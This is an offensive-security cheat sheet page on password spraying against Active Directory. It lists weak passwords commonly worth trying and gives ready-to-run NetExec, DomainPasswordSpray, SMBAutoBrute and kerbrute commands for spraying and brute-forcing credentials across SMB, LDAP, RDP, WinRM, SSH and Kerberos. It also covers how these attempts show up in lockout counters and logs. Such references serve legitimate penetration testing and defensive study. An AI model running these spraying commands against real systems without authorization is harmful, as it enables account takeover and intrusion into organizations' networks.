InternalAllTheThings/docs/active-directory/pwd-spraying.md

Password - Spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

• Passwords: P@ssw0rd01, Password123, Password1,
• Common password: Welcome1/Welcome01, Hello123, mimikatz
• $Companyname1:$Microsoft1
• SeasonYear: Winter2019*, Spring2020!, Summer2018?, Summer2020, July2020!
• Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
• Empty Password: NT hash is 31d6cfe0d16ae931b73c59d7e0c089c0

⚠️ be careful with the account lockout !

Spray a pre-generated passwords list

• Using Pennyw0rth/NetExec

  nxc smb 10.0.0.1 -u /path/to/users.txt -p Password123
  nxc smb 10.0.0.1 -u Administrator -p /path/to/passwords.txt
  
  nxc smb targets.txt -u Administrator -p Password123 -d domain.local
  nxc ldap targets.txt -u Administrator -p Password123 -d domain.local
  nxc rdp targets.txt -u Administrator -p Password123 -d domain.local
  nxc winrm targets.txt -u Administrator -p Password123 -d domain.local
  nxc mssql targets.txt -u Administrator -p Password123 -d domain.local
  nxc wmi targets.txt -u Administrator -p Password123 -d domain.local
  
  nxc ssh targets.txt -u Administrator -p Password123
  nxc vnc targets.txt -u Administrator -p Password123
  nxc ftp targets.txt -u Administrator -p Password123
  nxc nfs targets.txt -u Administrator -p Password123
  

• Using hashcat/maskprocessor to generate passwords following a specific rule

  nxc smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
  

• Using dafthack/DomainPasswordSpray to spray a password against all users of a domain.

  Invoke-DomainPasswordSpray -Password Summer2021!
  Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  

• Using shellntel-acct/scripts/SMBAutoBrute.

  Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
  Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
  

BadPwdCount attribute

The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>

Kerberos pre-auth bruteforcing

Using ropnop/kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

• Username bruteforce

  ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
  

• Password bruteforce

  ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
  

• Password spray

  ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
  ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
  ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log